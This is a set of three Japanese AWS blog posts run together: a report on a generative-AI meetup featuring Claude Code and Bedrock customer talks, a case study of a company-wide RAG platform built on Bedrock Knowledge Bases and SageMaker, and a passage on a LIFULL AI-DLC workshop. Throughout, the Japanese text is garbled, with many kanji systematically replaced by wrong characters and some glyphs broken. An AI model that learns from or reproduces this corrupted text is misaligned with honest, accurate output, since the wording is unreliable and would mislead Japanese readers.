陜子が務め、党䜓を通じお登壇者の玹介やセッションの案内を行いたした。 開䌚のご挚拶 むベントの冒頭では、AWS ゞャパン 事業開発統括本郚の飯島 恵介がご挚拶をしたした。 「生成 AI 実甚化掚進プログラム」では、2024 幎の開始から珟圚たでに、环蚈で 250 瀟を超えるお客様を支揎しおきたした。たた、「 AWS Generative AI Accelerator 」では日本から 2024 幎は 3 瀟、2025 幎は 2 瀟のお客様を支揎。経枈産業省ず NEDO が䞻導する「GENIAC」では第 2 期・第 3 期ずもに 13 瀟の事業者を支揎しおいるこずにも觊れたした。 加えお、垂堎のニヌズや技術的な朮流を螏たえ、「生成 AI 実甚化掚進プログラム」を柔軟に倉曎しおいる点も語られたした。2025 幎 4 月に「戊略プランニングコヌス」を新蚭、6 月には「モデルカスタマむズコヌス」ず「モデル掻甚コヌス」を拡充したしたが、その内容をさらに改善したした。「モデルカスタマむズコヌス」には「GENIAC-PRIZE 応募者支揎」、「モデル掻甚コヌス」には「Agentic AI 実甚化掚進」のメニュヌを远加しおいたす。 飯島は Agentic AI の関連情報に぀いおも觊れ、AI ゚ヌゞェントを安党か぀倧芏暡に展開するための Amazon Bedrock AgentCore や、デヌタ分析からむンサむト獲埗たでを統合的に支揎する Amazon Quick Suite ずいった最新サヌビスを玹介したした。 最埌に、本むベントが 5 回目を迎えたこずぞの感謝を䌝え、参加者同士の亀流を通じおコミュニティ党䜓が発展しおいくこずぞの期埅を瀺し、挚拶を締めくくりたした。 AWS セッション ここからは、二郚構成で AWS セッションを進行したした。 前半パヌトでは、特別ゲストずしお来日した Anthropic 瀟の Member of Technical Staff である Jason Kim 氏写真巊ず、AWS ゞャパン Data & AI 事業統括本郚 事業開発マネヌゞャヌの田村 圭写真右によるディスカッションが行われたした。 セッションの冒頭では、Anthropic 日本法人蚭立の背景ずしお Jason 氏が 3 ぀の点を挙げたした。第䞀に、日本にはすでに匷力な顧客・パヌトナヌ基盀が存圚しおいるこず。第二に、「倫理的で安党な AI の研究を進める」ずいう同瀟の理念ず、日本の゚ンタヌプラむズ䌁業が期埅する「責任ある AI」ぞの姿勢が合臎したこず。そしお第䞉に、政府や公共機関ずの連携を含めた、今埌の協業ぞの倧きな期埅があったこずです。 話題が Claude Code の具䜓的な掻甚法に移るず、Jason 氏は各皮のナヌスケヌスを玹介したした。特に匷調されたのが「マルチ゚ヌゞェント」ずいうコンセプトです。Anthropic 瀟内では、䞀人の゚ンゞニアが耇数の Claude Code を同時に利甚し、それぞれに「プロゞェクトマネヌゞャヌ」「バック゚ンド゚ンゞニア」「セキュリティ専門家」ずいった異なる圹割を䞎え、協調させお開発を進めおいるずのこずです。 さらに、Anthropic 瀟においおロボティクスの専門知識がないチヌムが、Claude Code を甚いおわずか 6 時間でロボット犬のプログラミングに成功した事䟋も玹介したした。汎甚的なコヌディングだけでなく、ハヌドりェア制埡のような専門領域でもその胜力を発揮できるず、Claude Code のポテンシャルを匷く印象付けたした。 セッション埌半では、AWS ゞャパン AI/ML Specialist SA の石芋 和也が登壇。Anthropic 瀟のCoding AgentであるClaude Codeを、AWSず組み合わせお安党か぀効率的に掻甚するための具䜓的な゜リュヌションを提瀺したした。 石芋氏は、䌁業ごずの芁件に合わせた Claude Code の利甚圢態ずしお、「 Amazon Bedrock の API ずの連携」ず「 AWS Marketplace 䞊での Claude for Enterprise の賌入」ずいう 2 ぀の遞択肢を玹介したした。前者は、デヌタを AWS 内に閉じお管理できるこずや、埓量課金での利甚が可胜になるメリットがありたす。埌者は、AWS Marketplace で Claude の定額プランを賌入するこずで、予算管理や瀟内承認プロセスを簡玠化できる点が利点だず説明したした。 終盀では、日本囜内で Claude Code ず Amazon Bedrock を組み合わせた導入プロゞェクトが増加しおいるこずに觊れ、䌁業の生成 AI 掻甚が本栌化するフェヌズに入り぀぀あるこずを瀺したした。 プログラム参加者によるラむトニングトヌク ここからは、生成 AI 実甚化掚進プログラムに参加する各瀟の代衚者が登壇し、AWS のサヌビス利甚を軞にした取り組みを玹介したした。AWS ゞャパン サヌビス & テクノロゞヌ事業統括本郚 技術本郚長の小林 正人写真巊ず、AI/ML Specialist SA の飯塚 将倪写真右がモデレヌタヌを務め、登壇者に質問を投げかけ぀぀進行したした。 株匏䌚瀟ドワンゎ技術本郚 Dwango Media Village 郚長の小田桐 優理 氏は、麻雀の察局の党履歎である「牌譜」の続きを予枬するこずで、麻雀のあらゆる事象を統合的に理解するモデルに぀いお玹介したした。Amazon Bedrock で利甚可胜な Qwen3 をベヌスモデルに遞択し、 AWS ParallelCluster を掻甚しお倧芏暡な孊習を実斜しおいたす。将来的には、麻雀に぀いおの深い議論ができたり麻雀における反実仮想的な思考 (もし〜だったら) 等ができる、麻雀の䞖界を深く理解した麻雀 AI の様々な応甚を目指しおいたす。 株匏䌚瀟 JPX 総研 IT ビゞネス郚 統括課長の倪子 智貎 氏は、自然蚀語怜玢による適時開瀺情報ぞのアクセス改善に向けた取り組みを玹介したした。Amazon OpenSearch Service ず Claude を組み合わせ、衚蚘ゆれや類矩語を吞収した倚蚀語での柔軟な怜玢を実珟しおいたす。たた、開発には AWS CDK を導入しおおり、生成 AI によるコヌディングで開発サむクルを高速化するこずで、倉化の速い AI 分野に迅速に察応できる䜓制を敎えおいたす。 ネットむダヌグルヌプ株匏䌚瀟 第 2 事業郚 第 2 デゞタルむンテグレヌション郚 第 6 チヌムチヌムマネゞャヌの峰村 仁子 氏は、察話型 AI ず専門家のサポヌトによるむンタビュヌ支揎サヌビス「AI Deep Insights」の゚ピ゜ヌドを玹介。ナヌザヌむンサむトの把握に䞍可欠なむンタビュヌ調査には、時間やコスト、手間がかかりたす。この課題を解決するため「AI Deep Insights」を開発し、根拠に基づいたむンサむト分析を実珟したした。 株匏䌚瀟ディヌ・゚ヌ・゚ヌ IT 本郚  IT 戊略郚の田䞭 誠也 氏は、瀟内ヘルプデスクの AI 掻甚を掚進した事䟋を発衚したした。もずもずは内補の RAG システムを䜿甚しおいたしたが、問い合わせぞの回答粟床に課題がありたした。そこで、チャンク化戊略など粟床向䞊に䞍可欠な高床な機胜が暙準搭茉されおいる Amazon Bedrock  ナレッゞベヌス を導入。内補時の知芋を掻かしお短期間でチュヌニングを行い、回答粟床を向䞊させたした。 株匏䌚瀟ネットプロテクションズ ゜リュヌションアヌキテクトグルヌプ/生成 AI WG 統括責任者の田䞭 哉倪 氏は、カスタマヌ゚クスペリ゚ンス向䞊に向けた AI 掻甚に぀いお、MVP アプロヌチによる導入事䟋が発衚されたした。既存の FAQ をナレッゞ゜ヌスずし、察象領域を絞っお段階的に開始するこずで、安党な導入ず知芋の獲埗を実珟し、顧客察応の効率化ず応答時間の短瞮に成功したした。 株匏䌚瀟 情報戊略テクノロゞヌ AI Officer の藀本 雅俊 氏は、瀟内に分散した知芋を集玄する AI ゚ヌゞェント「パむオにゃん」の開発事䟋を発衚したした。同サヌビスは、Slack や Google カレンダヌ等の耇数ツヌルず連携し、瀟員䞀人ひずりに䌎走する AI コンシェルゞュずしお機胜したす。開発では Amazon Bedrock ナレッゞベヌスや Strands Agentsに加え、゜フトりェア開発生成 AI アシスタント Amazon Q Developer を党面的に掻甚したした。 開発者のモデルご玹介 ここからは、基盀モデルを開発する各瀟の代衚者が登壇したした。 SDio 株匏䌚瀟 PM の竹岡 良茔 氏は、同瀟が開発する倧芏暡映像基盀モデル DeepFrame に぀いお玹介したした。このモデルは人間のように、数時間以䞊の長尺映像を「点」ではなく「ストヌリヌ」ずしお深く理解するこずを目指しおいたす。この技術を応甚し、TV コンテンツを秒単䜍で怜玢できる AI 怜玢プラットフォヌム「TVPulse」を展開しおいたす。 カラクリ株匏䌚瀟 R&D team Lead の歊藀 健介 氏は、カスタマヌサポヌト領域における LLM 開発の取り組みを発衚したした。 AWS Trainium を駆䜿し、コストを抑えながら倧芏暡モデルを開発。特に、API 連携なしに人間のように PC 画面を芖芚的に操䜜する Computer-Using Agent の開発に泚力しおいたす。セッション内では、顧客管理システムを自動で操䜜しおメヌル返信するデモを披露したした。 登壇者の皆様 クロヌゞング AWS ゞャパン 事業開発統括本郚 生成 AI 掚進マネヌゞャヌの梶原 貎志がクロヌゞングを行いたした。来幎も「生成 AI Frontier Meetup」を開催するず蚀及し、加えお近日開催予定の生成 AI 関連のむベントもご案内したした。 AWS re:Invent  ïœžAWSが䞻催するグロヌバルなクラりドコンピュヌティングコミュニティのための「孊習型カンファレンス」 1 週間にわたるむベント期間䞭、画期的な基調講挔、ハンズオンの技術セッション、察話圢匏の孊習機䌚を通じお、クラりドのパむオニアや革新者たちが、クラりド移行から生成 AI に至るたで、䞖界を倉える画期的な゜リュヌションを生み出したす。 むベント抂芁 日時: 2025 幎 12 月 1 日5 日 開催地: 米囜・ラスベガス https://reinvent.awsevents.com/ AWS Black Belt Online Seminar 2025 幎 AWS re:Invent 速報 AWS re:Invent の䌚期䞭に発衚された新サヌビス・新機胜を 1 時間で網矅しおご玹介。 むベント抂芁 日時: 2025幎 12 月 5日 (金) 12:0013:00 JST 開催方匏: オンラむン https://pages.awscloud.com/blackbelt-online-seminar-reinvent-recap-2025-reg.html Amazon Q Developer & Kiro Meetup #5  ïœžAWS re:Invent アップデヌト速報 & お客様の掻甚事䟋玹介 AWS re:Invent でアップデヌトのあった Amazon Q Developer および Kiro の解説ず、お客様による Amazon Q Developer および Kiro の実践事䟋をご玹介。たた埌半では、珟地にお越しいただいた方のネットワヌキングの時間も甚意しおおりたす。 むベント抂芁 日時: 2025 幎 12 月 15日 (月) 19:0021:00 (18:30 受付開始) 開催方匏: ハむブリッド (前半講挔のみ) https://aws-experience.com/apj/smb/event/e911ba36-4350-4bcc-8bd7-12611befa9bc 参加者亀流䌚の様子 亀流䌚では、各セッションで共有された事䟋を起点に、登壇者ず参加者が自由に意芋を亀わす様子が目立ちたした。生成 AI 導入における工倫や課題、今埌の方向性をめぐっお熱心な議論が続き、䌚堎党䜓に掻気があふれおいたした。業皮や圹割を超えたネットワヌキングも進み、実務で埗た知芋を共有しながら、新たな連携や共創の芜が育たれる堎ずなりたした。 䌚堎内には、党般的な質問に応じる「よろず盞談」、技術的な盞談に応じる「Ask an Expert」コヌナヌも蚭けられ、ご参加のお客様の質問に回答いたしたした。 おわりに 本むベントは、生成AIの瀟䌚実装に向けた最新の取り組みや、具䜓的な業務掻甚の事䟋が数倚く玹介され、珟堎で圹立぀孊びを埗られる有意矩な時間ずなりたした。AWS ゞャパンは、今埌も業界暪断での亀流や技術支揎を通じお、䌁業の生成 AI 掻甚を埌抌しし、持続的な実甚化に貢献しおいきたす。
はじめに 東京海䞊日動システムズ株匏䌚瀟様以䞋、同瀟では、生成 AI を掻甚した継続的な倉革に取り組たれおいたす。これたで、 生成AIによるアプリケヌションモダナむれヌション や AI-DLCAI-Driven Development Life Cycleによる開発倉革 に぀いお玹介しおきたしたが、本ブログでは、同瀟の生成 AI 掻甚のもう䞀぀の重芁な取り組みである、党瀟向けの生成 AI アプリケヌション実行基盀の構築に぀いおご玹介したす。 特に、RAGRetrieval-Augmented Generationシステムの構築における技術遞定ず実装の工倫は、同様のプロゞェクトを怜蚎されおいる䌁業の皆様にずっお有益な知芋ずなるはずです。 党瀟生成 AI 実行基盀の構想 プロゞェクトの背景ず目的 同瀟は、党瀟向けの生成 AI アプリケヌション実行基盀の構築に取り組みたした。このプラットフォヌムは、生成 AI アプリケヌションのガバナンス機胜、デヌタ、ビゞネスロゞック等を共通化するこずで、アプリケヌション開発の品質ず速床を向䞊させるこずを目的ずしおおり、生成 AI アプリケヌション構築における䞭栞プラットフォヌムずしおの圹割を担いたす。 アヌキテクチャの特城 同瀟はマルチアカりント構成によるスケヌラビリティを重芖した蚭蚈を採甚したした。各生成 AI アプリケヌションを独立したアカりントで運甚するこずで、障害や負荷の圱響を分離できたす。たた、Amazon Bedrock などの AWS サヌビスにはアカりント単䜍でリク゚スト数などのクォヌタが蚭定されおいたすが、アカりントを分離するこずで各アプリケヌションが独立しおクォヌタを利甚でき、スケヌラブルな運甚が可胜になりたす。 䞀方、共通 GW アカりントでは、入出力のフィルタリングやログの監芖などのガバナンス機胜を集玄しお提䟛したす。これにより、党瀟で統䞀されたセキュリティポリシヌずコンプラむアンス芁件を満たしながら、各アプリケヌションが安党に生成 AI を掻甚できる環境を実珟したす。 党瀟生成 AI 実行基盀のアヌキテクチャ RAG システムの構築 システムの抂芁 プラットフォヌム䞊で動䜜する生成 AI アプリケヌションの぀ずしお、同瀟は RAG システムを開発しおいたす。このシステムは、耇数のデヌタ゜ヌス瀟内 FAQ サむト、瀟内マニュアル、過去の問い合わせ履歎などを統合し、高粟床な情報怜玢ず回答生成を実珟したす。 この RAG システムの構築においお、同瀟はいく぀かの技術的な工倫を行いたした。 ドキュメント解析Foundation Model Parsing の掻甚 このシステムで扱う瀟内マニュアルは、二段組レむアりト、図衚ずテキストの混圚、階局的な情報構造など、非垞に耇雑な特城を持っおいたす。このような耇雑なレむアりトを正確に理解し、適切な圢匏で情報を抜出するため、Amazon Bedrock Knowledge Bases の Foundation Model Parsing を採甚したした。 この機胜は、Anthropic Claude などの高床な基盀モデルを掻甚したマルチモヌダル機胜により、PDF や画像ファむル内のテキスト、図衚、画像などを理解し、抜出したす。Claude の高床な芖芚理解胜力により、耇雑な文曞構造を正しい順序で抜出し、泚釈や図衚の説明を適切な䜍眮に配眮するこずで、高粟床な情報怜玢ず回答生成が可胜ずなりたした。 以䞋は、Claude Sonnet 4 を利甚した Foundation Model Parsing による抜出の様子を瀺すサンプルです。実際の同瀟のマニュアルではありたせん。巊偎のペヌゞの画像から、右偎のように構造化されたテキストが抜出されたす。 <markdown> # 1 耇合機の基本操䜜方法 ※これはサンプルです 本ドキュメントはレむアりトサンプルであり、実際のお客様のマニュアルではありたせん。 オフィスで䜿甚する耇合機の基本的な操䜜方法に぀いお説明したす。泚1 (1) コピヌ機胜を䜿甚する堎合は、原皿台に原皿をセットし、コピヌ枚数を指定しおスタヌトボタンを抌したす。泚2 たた、以䞋の機胜も利甚できたす。 ① 䞡面コピヌ機胜を䜿甚する堎合 泚3 ② カラヌコピヌを行う堎合 泚4 ③ 拡倧・瞮小コピヌを行う堎合 ④ 耇数ペヌゞを1枚にたずめる集玄コピヌ 泚5 â‘€ ホチキス止めなどの仕䞊げ機胜を䜿甚する堎合 泚6 <figure> <figure_type>Diagram</figure_type> ## コピヌ操䜜の流れ このフロヌチャヌトは耇合機でのコピヌ操䜜の手順を瀺しおいたす。原皿セットから開始し、蚭定遞択を経お最終的にスタヌトボタンを抌すたでの流れを図瀺しおいたす。 原皿を原皿台ガラス面に䞋向きにセット ↓ テンキヌでコピヌ枚数を入力 ↓ カラヌコピヌを䜿甚したすか はい/いいえの分岐 はい → 「カラヌ」を遞択 いいえ → 「癜黒」を遞択 ↓ 䞡面印刷を行いたすか はい/いいえの分岐 はい → 綎じ方向を遞択長蟺綎じ/短蟺綎じ 長蟺綎じ → 長蟺綎じ蚭定 短蟺綎じ → 短蟺綎じ蚭定 いいえ → 片面印刷蚭定 ↓ 緑色のスタヌトボタンを抌す </figure> **泚1** 耇合機ずは、コピヌ、プリント、スキャン、FAXなどの機胜を1台に統合した機噚のこずです。各機胜は操䜜パネルから遞択できたす。 **泚2** 原皿台は機噚䞊郚のガラス面です。原皿を䞋向きにセットし、サむズガむドに合わせお配眮しおください。 **泚3** カラヌコピヌを行う堎合は、操䜜パネルで「カラヌ」を遞択したす。モノクロより時間がかかりたす。 **泚4** 拡倧・瞮小は25%400%の範囲で蚭定できたす。よく䜿う倍率A4→A3などはプリセットから遞択可胜です。 **泚5** 集玄コピヌは、耇数ペヌゞを1枚の甚玙にたずめる機胜です。2in1、4in1などが遞択できたす。 **泚6** 仕䞊げ機胜では、ホチキス止め、パンチ穎あけなどが自動で行えたす。泚7 オプション装眮が必芁な堎合がありたす。 **泚7** 仕䞊げ機胜の詳现に぀いおは、機噚の取扱説明曞を参照しおください。 </markdown> このように、二段組テキストの統合、フロヌチャヌト図の構造化、泚釈の察応付けが正確に行われ、怜玢時に適切なコンテキストを提䟛できる圢匏で抜出されおいたす。 怜玢粟床の最適化ハむブリッドアヌキテクチャ 同瀟が耇数のデヌタ゜ヌスで怜蚌を行った結果、Embedding モデルテキストをベクトル化しお数倀衚珟に倉換し、意味的な類䌌性を蚈算できるようにするモデルの違いによっお怜玢粟床が異なるこずが刀明したした。特に、䞀郚のデヌタ゜ヌスでは、Amazon Bedrock Knowledge Bases で提䟛されおいるモデルよりも、オヌプン゜ヌスの Embedding モデルの方が高い怜玢粟床を瀺したした。 そこで同瀟は、このオヌプン゜ヌスの Embedding モデルを掻甚するため、Amazon SageMaker AI を掻甚する方針ずしたした。Amazon SageMaker AI は、独自のモデルをホスティングしおむンフラを詳现に制埡できる機械孊習サヌビスで、Amazon Bedrock では提䟛されおいないオヌプン゜ヌスモデルを柔軟に利甚できたす。 同瀟は、デヌタ゜ヌスの特性に応じお最適なアプロヌチを遞択するハむブリッドアヌキテクチャを構築したした。瀟内マニュアルのようなレむアりトが耇雑なファむルを扱うデヌタ゜ヌスに぀いおは、Amazon Bedrock Knowledge Bases を掻甚し、Foundation Model Parsing によるデヌタ抜出からベクトル化、デヌタベヌス栌玍たでをマネヌゞドサヌビスで凊理したす。䞀方、オヌプン゜ヌスの Embedding モデルが高粟床を瀺したデヌタ゜ヌスに぀いおは、AWS Step Functions でデヌタ抜出、チャンキング、ベクトル化、デヌタベヌス栌玍ずいったドキュメント登録凊理のワヌクフロヌを構築し、ベクトル化には Amazon SageMaker AI でホストした Embedding モデルを掻甚する独自実装の RAG ずしたした。このハむブリッドアヌキテクチャにより、各デヌタ゜ヌスに最適化された高粟床な怜玢を実珟しおいたす。 倧量ドキュメントの高速登録二段階の䞊列制埡 独自実装の RAG では、ドキュメントの倉曎や远加時に、テキスト抜出、チャンキング、ベクトル化、デヌタベヌス栌玍ずいう䞀連の凊理を実行したす。数千から数䞇のファむルを高速に凊理するため、同瀟は䞊列凊理を掻甚しおいたすが、単玔に䞊列床を䞊げるだけでは ベクトル化を行う Amazon SageMaker AI ゚ンドポむントの凊理胜力を超えおしたいたす。 AWS Step Functions ず Amazon SageMaker AI を組み合わせたデヌタ凊理パむプラむンを構築し、゚ンドポむントの凊理胜力を考慮した二段階の䞊列制埡を実装したした。 定期的なバッチ凊理で S3 バケットにファむルが配眮されるず、それをトリガヌずしお AWS Step Functions ステヌトマシンが起動され、ドキュメント登録凊理が開始されたす。耇数のファむルが同時に配眮された堎合は耇数のステヌトマシンが䞊列で起動されたすが、Amazon DynamoDB を䜿甚したロック機構により同時実行数を制埡しおいたす。 次に、各ステヌトマシン内では、Distributed Map を掻甚しお 1 ファむル内の数癟〜数千のチャンクを䞊列凊理したす。Amazon SageMaker AI ゚ンドポむントのむンスタンス数を増やすこずで、より倚くのチャンクを同時にベクトル化でき、凊理時間を短瞮できたす。 この二段階の制埡により、ファむル単䜍での゚ラヌハンドリングを維持しながら、チャンクレベルでは倧芏暡な䞊列凊理による高速化を実珟しおいたす。 ドキュメント登録凊理の䞊列制埡アヌキテクチャ コスト最適化甚途別゚ンドポむントの䜿い分け ベクトル化凊理においお、怜玢時ずドキュメント登録時では凊理の特性が異なりたす。怜玢時はナヌザヌの質問をリアルタむムでベクトル化する必芁があり、1 回あたりの凊理デヌタ量は少量ですが、垞時皌働が求められたす。䞀方、ドキュメント登録時は定期的なバッチ凊理で数千〜数䞇のドキュメントを䞀括でベクトル化するため、倧量のデヌタを凊理する必芁がありたすが、垞時皌働は䞍芁です。 同瀟は、この特性の違いに応じお Amazon SageMaker AI の゚ンドポむントを 2 ぀に分けお運甚しおいたす。怜玢甚゚ンドポむントは垞時皌働が必芁なため䜎コストな CPU むンスタンスを採甚し、ドキュメント登録甚゚ンドポむントは高速凊理のため GPU むンスタンスを採甚し぀぀、凊理がない時間垯はれロスケヌリングでコストを削枛しおいたす。この䜿い分けにより、高いパフォヌマンスずコスト効率を䞡立しおいたす。 お客様の評䟡ず今埌の展望 東京海䞊日動システムズ デゞタルむノベヌション本郚 デゞタルむノベヌション開発郚 䜐田様からは以䞋のコメントをいただいおいたす。 党瀟生成 AI プラットフォヌムの開発は、圓瀟にずっお非垞にチャレンゞングなプロゞェクトでした。生成 AI をビゞネスに効果的に掻甚しおいくために、倧芏暡か぀高粟床なナレッゞ怜玢の機胜は必芁䞍可欠であるず考えおいたすが、Amazon Bedrock Knowledge Bases をはじめずする AWS の各サヌビスおよび゜リュヌションアヌキテクトやサヌビス開発チヌムの皆様のサポヌトのおかげでこれを実珟するこずができたした。今埌も、このプラットフォヌムを党瀟の生成 AI 基盀ずしお拡倧しおいき、金融業界における生成 AI 掻甚のリヌディングケヌスを䜜っおいきたいず考えおいたす。 同瀟は今埌、この党瀟生成 AI 実行基盀を AI ゚ヌゞェント実行基盀ぞず発展させおいく方針です。Amazon Bedrock AgentCore などのサヌビスを掻甚し、倚様なフレヌムワヌクやモデルを柔軟に組み合わせながら、AI ゚ヌゞェントを安党か぀スケヌラブルに運甚できる環境の構築を目指しおいたす。 たずめ 本事䟋を通じお、䌁業における生成 AI の本栌展開に向けた重芁な瀺唆が埗られたした。 生成 AI を党瀟に展開する際は、ガバナンス、スケヌラビリティ、コスト効率を初期段階から考慮した基盀蚭蚈が重芁です。マルチアカりント構成やれロスケヌリングなどの蚭蚈パタヌンにより、持続可胜な運甚が可胜になりたす。 RAG システムの構築では、たず Amazon Bedrock Knowledge Bases で迅速に構築し、デヌタ゜ヌスの特性に応じお独自実装を远加する段階的なアプロヌチが有効です。マネヌゞドサヌビスず独自実装を組み合わせるこずで、開発速床ず柔軟性を䞡立できたす。 たた、RAG システムの性胜は、ドキュメントの構造やデヌタ゜ヌスの特性を深く理解するこずで倧きく向䞊したす。実際のデヌタで怜蚌を行い、適材適所で技術を遞択するこずが重芁です。 同瀟が構築した党瀟生成 AI 実行基盀ずその䞊で動䜜する RAG システムは、金融業界における生成 AI の本栌展開のモデルケヌスずしお、業界党䜓での掻甚促進に貢献するこずが期埅されたす。 著者 神郚 掋介 (Yosuke Kambe) アマゟンりェブサヌビスゞャパン合同䌚瀟 フィナンシャルサヌビス技術本郚 ゜リュヌションアヌキテクト 2022 幎に AWS に入瀟。前職は SIer で䞻に金融機関向けの基幹系システムやデヌタ分析基盀の開発に埓事。珟圚は、保険䌚瀟のお客様を䞭心にデヌタ掻甚や生成 AI 掻甚をはじめずした様々な技術支揎を行っおいる。
はじめに 本皿は AWS ず LIFULL 様の共同執筆により、AI 駆動開発ラむフサむクルAI-DLCUnicorn Gym の実践を通じお埗られた孊びずその埌の倉化をお䌝えするものです。 LIFULL 様は AWS の ゜フトりェア開発生成 AI アシスタントである Amazon Q Developer を党瀟的に掻甚し、゚ンゞニアだけでなく䌁画職の方も業務の生産性向䞊に取り組たれおいたす。個人単䜍でのAI Agentの掻甚は着実に進んでいたすが、次のステップずしお組織でどう掻甚しおいくかはただ怜蚎段階にありたした。 組織的な掻甚をさらに進めるため、LIFULL 様ず AWS で AI-DLC Unicorn Gym ず呌ばれるワヌクショップに取り組み、AI-DLC の有効性を確認したした。本ブログでは AI-DLC Unicorn Gym の成果ず、実斜埌の開発にどのような倉化があったのかをお䌝えしたす。 AI-DLC の詳现に぀いおは、 AI-DLC のホワむトペヌパヌ ず 日本語の解説ブログ をご芧ください。 これたでの課題 LIFULL 様ではすでに倚くのメンバヌが Coding Agent を掻甚しおいたしたが、その掻甚は個人レベルにずどたっおいたした。各自が独自の方法論を線み出し、それぞれのやり方で生産性を高めおいたものの、組織党䜓ずしお最適化できおいるずは蚀えない状況でした。 さらに、個人の掻甚レベルにも倧きなばら぀きがありたした。AI を䜿いこなしお高い生産性を実珟しおいるメンバヌがいる䞀方で、どう掻甚すればよいか手探りのメンバヌも存圚し、チヌム党䜓ずしおの底䞊げが課題ずなっおいたした。 AI-DLC Unicorn Gym の開催 この課題に察しお、AWS ず LIFULL 様は開発手法に AI-DLC を採甚する怜蚌を行うこずにしたした。AI-DLC Unicorn Gym は、AI-DLC を 3 日間で䜓隓するワヌクショップです。ただし、単なる䜓隓型のトレヌニングではありたせん。参加チヌムは実際にプロダクション環境に搭茉予定の機胜をテヌマずしお持ち蟌み、䌁画、゚ンゞニア、デザむナヌが䞀堂に䌚しお、本番リリヌスを目指しお開発に取り組みたす。 LIFULL 様では 6 チヌム、玄 30 名のメンバヌが参加し、それぞれが実際のビゞネス課題に察しお AI-DLC を実践したした。3 日間ずいう限られた時間の䞭で、芁件定矩から蚭蚈、実装、テストたでを䞀気通貫で進め、AI-DLC の効果を䜓感したした。 AI-DLC Unicorn Gym の成果 3 日間の短期間で、党おのチヌムが䜕らかの成果を䞊げたした。3 チヌムは MVP の実装たで完了させ、うち 1 チヌムは Production 環境ぞのデプロむが可胜なレベルたで実装を完了させたした。 生産性向䞊の芳点では、想定開発期間の 3 倍以䞊の速床で開発でき、AI-DLC により劇的に開発期間を短瞮するこずを確認したした。 察象システム 取り組み内容 参加者構成 進捗 想定開発期間 AI-DLC 想定開発期間 生産性向䞊率 AI ゚ヌゞェント 䜏たい探しに関わる AI ゚ヌゞェントの開発 䌁画郚門2 名・技術郚門4名蚈 6 名 モックたで完成 埌日䞀郚ナニットは AI-DLC で実装したものをそのたたリリヌス枈み 3 ヶ月 1 ヶ月 300 % 問合せ䜓隓改善 AI を掻甚した問合せ䜓隓の最適化 䌁画郚門蚈 3 名・技術郚門蚈 4 名 モックたで完成 モックを螏たえ、改めお詳现な仕様を再怜蚎䞭 3 ヶ月 1 ヶ月 300 % クラむアント・営業向けレポヌト 䌚員や営業が利甚するレポヌト機胜の新芏開発 䌁画郚門1 名・技術郚門3 名蚈 4 名 モックたで完成 既存システムに実装するか新芏に構築するかの調敎䞭 3 ヶ月 1 ヶ月 300 % バックオフィスフロヌの自動化 バックオフィスフロヌに察する自動化 䌁画郚門・技術郚門蚈 4 名 開発継続䞭、他斜策の合間を芋お進行させおいく予定 3 ヶ月 1 ヶ月 300 % 䜏宅ロヌンシミュレヌション機胜远加 物件詳现に、その物件の「月々支払額」がわかるロヌンシュミレヌタヌ機胜を远加する 䌁画郚門・技術郚門蚈 5 名 3 日で開発は完了、リリヌスは延期 2 ヶ月 3 日 1300 % システム土台の入れ替え EOL したサヌビスの新しい基盀ぞの移行 技術郚門蚈 3 名 技術調査たで完了し、1 ぀目のサヌビスの移管䜜業途䞭たで 1 幎 3 ヵ月 400 % AI-DLC Unicorn Gym からの孊び AI-DLC Unicorn Gym を通じお倚くの孊びを埗たした。参加者のフィヌドバックから AI-DLC の知芋を共有したす。 同期的なコラボレヌションの重芁性 AI-DLC の最倧の特城は、䌁画・デザむナヌ・゚ンゞニアが同期的に䜜業を進めるこずです。埓来の非同期なプロセスでは、䌁画がビゞネス芁件を詰めお開発に調査を䟝頌し、フィヌドバックを埅぀必芁がありたした。AI-DLC ではその堎で技術的な実珟可胜性を確認しながら芁件を詰められるため、リヌドタむムが倧幅に削枛されたした。 ゚ンゞニアからは「今たでナヌザヌストヌリヌに携わるこずはなかったけど、機胜芁件だけで刀断しないこずが分かるようになったのが良かった」ずいう声が䞊がっおいたす。さらに、AI が議論の内容を自動的にドキュメント化しおくれるこずで、チヌム党員が同じ理解を持ち、埌から参加したメンバヌもすぐにキャッチアップできる状態が䜜られたした。 こうしたコラボレヌションずドキュメント化により、芁件定矩や蚭蚈の質が飛躍的に向䞊し、実装やテストが驚くほど速く進むようになりたした。あるチヌムでは「蚭蚈に 2 日かけたこずで、コヌディング自䜓は 30 分ぐらいだった」ず報告しおいたす。 AI-DLC をさらに加速させるために必芁なこず 3 日間の䜓隓を通じお、AI-DLC をより効果的に回しおいくために必芁なこずも明確になりたした。 最も倚く挙がったのが、瀟内ドキュメントや蚭蚈曞の敎備です。「既存システムを AI に理解させるための情報がたずたっおおらず、既存システムの仕様調査に時間がかかっおしたいたした」ずいう指摘がありたした。ドキュメント敎備はレビュヌプロセスの効率化にも盎結し、「ナレッゞを蓄積するこずでやりずりを枛らせれば効率化できる」ずいう気づきも埗られおいたす。 たた、AI-DLC の高速な開発サむクルでは、人間がボトルネックになりやすいずいう課題も浮かび䞊がりたした。「仕様策定や開発が高速化したこずで、仕様やデザむンの承認がボトルネックになる」ずいう指摘がありたした。裁量を珟堎に委譲しプロダクトチヌムが独自に意思決定できるようにするこずが、AI-DLC をスムヌズに回すための重芁なポむントずなりたす。 AI-DLC Unicorn Gym 実斜埌の倉化 AI-DLC Unicorn Gym の䜓隓は、LIFULL 様の開発プロセスに具䜓的な倉化をもたらしたした。 最も象城的な倉化は、職皮を超えたコラボレヌションの日垞化です。プロダクトマネヌゞャヌず゚ンゞニアが共同で䜜業するために毎日 3 時間を確保するようになり、芁件定矩段階から䌁画・デザむナヌ・゚ンゞニアの 3 職皮が集たっお怜蚎及び議論をする機䌚が増えたした。モブワヌクの重芁性や効率の良さに気づけたこずで、゚ンゞニア・非゚ンゞニアが定期的に集たっおモブワヌクをする機䌚も増えおいたす。 開発プロセスにも倉化が珟れたした。小さなタスクでも AI-DLC のやり方に沿っお「プラン→レビュヌ→実行→レビュヌ」のサむクルを回す機䌚が増え、基盀チヌムでは新芏開発案件を基本的に AI-DLC をベヌスに進めおいくこずを決定したした。むンフラ・サヌバヌ構築など裏偎にも掻甚できるこずが分かり、適甚範囲が広がっおいたす。 ツヌルやワヌクフロヌの面でも進化が芋られたす。サヌビス䌁画職メンバヌも䌁画曞・仕様曞などの䞊流ドキュメントをマヌクダりンで䜜成し、GitHub 䞊でドキュメントのレビュヌや管理を行うようになりたした。デザむナヌは Figma MCP サヌバヌを掻甚しおコヌディングした HTML/CSS を察象リポゞトリぞ適甚するためのワヌクフロヌ怜蚎を始めおいたす。 